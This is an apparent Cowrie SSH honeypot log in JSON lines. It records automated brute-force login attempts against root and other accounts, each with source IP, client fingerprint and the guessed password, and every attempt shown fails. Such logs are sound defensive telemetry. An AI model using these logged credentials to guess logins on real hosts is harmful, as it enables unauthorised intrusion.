{"eventid":"cowrie.login.failed","username":"root","password":"qazedc","message":"login attempt [root/qazedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:52.930297Z","src_ip":"60.165.124.241","session":"df1bf12a0b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:54.170582Z","src_ip":"60.165.124.241","session":"df1bf12a0b33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60270,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4866484aa11","protocol":"ssh","message":"New connection: 60.165.124.241:60270 (10.17.0.5:22) [session: e4866484aa11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:54.424840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:54.430115Z","src_ip":"60.165.124.241","session":"e4866484aa11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:54.681057Z","src_ip":"60.165.124.241","session":"e4866484aa11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa258369","message":"login attempt [root/Aa258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:55.431805Z","src_ip":"60.165.124.241","session":"e4866484aa11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:56.684875Z","src_ip":"60.165.124.241","session":"e4866484aa11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34694,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfdac1e412a0","protocol":"ssh","message":"New connection: 60.165.124.241:34694 (10.17.0.5:22) [session: cfdac1e412a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:56.926703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:56.930853Z","src_ip":"60.165.124.241","session":"cfdac1e412a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:57.187289Z","src_ip":"60.165.124.241","session":"cfdac1e412a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ipscan","message":"login attempt [root/ipscan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:57.947942Z","src_ip":"60.165.124.241","session":"cfdac1e412a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:59.202878Z","src_ip":"60.165.124.241","session":"cfdac1e412a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37808,"dst_ip":"10.17.0.5","dst_port":22,"session":"941a7561bacd","protocol":"ssh","message":"New connection: 60.165.124.241:37808 (10.17.0.5:22) [session: 941a7561bacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:59.428871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:59.433924Z","src_ip":"60.165.124.241","session":"941a7561bacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:59.677701Z","src_ip":"60.165.124.241","session":"941a7561bacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sh123456","message":"login attempt [root/Sh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:00.399433Z","src_ip":"60.165.124.241","session":"941a7561bacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:01.640537Z","src_ip":"60.165.124.241","session":"941a7561bacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40914,"dst_ip":"10.17.0.5","dst_port":22,"session":"e068913ef12b","protocol":"ssh","message":"New connection: 60.165.124.241:40914 (10.17.0.5:22) [session: e068913ef12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:01.904432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:01.910622Z","src_ip":"60.165.124.241","session":"e068913ef12b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:02.164777Z","src_ip":"60.165.124.241","session":"e068913ef12b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweASD!","message":"login attempt [root/123qweASD!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:02.919188Z","src_ip":"60.165.124.241","session":"e068913ef12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:04.170401Z","src_ip":"60.165.124.241","session":"e068913ef12b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43790,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dca9ebe6bbe","protocol":"ssh","message":"New connection: 60.165.124.241:43790 (10.17.0.5:22) [session: 4dca9ebe6bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:04.397631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:04.402939Z","src_ip":"60.165.124.241","session":"4dca9ebe6bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:04.642128Z","src_ip":"60.165.124.241","session":"4dca9ebe6bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ien.net.cn","message":"login attempt [root/7ien.net.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:07.345791Z","src_ip":"60.165.124.241","session":"4dca9ebe6bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:08.586738Z","src_ip":"60.165.124.241","session":"4dca9ebe6bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48802,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ba139118225","protocol":"ssh","message":"New connection: 60.165.124.241:48802 (10.17.0.5:22) [session: 4ba139118225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:09.818342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:09.823517Z","src_ip":"60.165.124.241","session":"4ba139118225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:10.072219Z","src_ip":"60.165.124.241","session":"4ba139118225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronaldo2","message":"login attempt [root/ronaldo2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:10.789774Z","src_ip":"60.165.124.241","session":"4ba139118225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:12.029213Z","src_ip":"60.165.124.241","session":"4ba139118225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56388,"dst_ip":"159.203.135.109","dst_port":22,"session":"400a21476ed4","protocol":"ssh","message":"New connection: 2.57.122.208:56388 (159.203.135.109:22) [session: 400a21476ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:13.070448Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52968,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fa50af5a97","protocol":"ssh","message":"New connection: 60.165.124.241:52968 (10.17.0.5:22) [session: 69fa50af5a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:13.268454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:13.273361Z","src_ip":"60.165.124.241","session":"69fa50af5a97","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:13.428956Z","src_ip":"2.57.122.208","session":"400a21476ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:13.432728Z","src_ip":"2.57.122.208","session":"400a21476ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:13.513228Z","src_ip":"60.165.124.241","session":"69fa50af5a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitcoin123","message":"login attempt [root/bitcoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:14.238259Z","src_ip":"60.165.124.241","session":"69fa50af5a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:14.956854Z","src_ip":"2.57.122.208","session":"400a21476ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:15.481099Z","src_ip":"60.165.124.241","session":"69fa50af5a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:16.186233Z","src_ip":"2.57.122.208","session":"400a21476ed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56938,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2dd285325f","protocol":"ssh","message":"New connection: 60.165.124.241:56938 (10.17.0.5:22) [session: 0c2dd285325f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:16.740912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:16.746102Z","src_ip":"60.165.124.241","session":"0c2dd285325f","protocol":"ssh"}
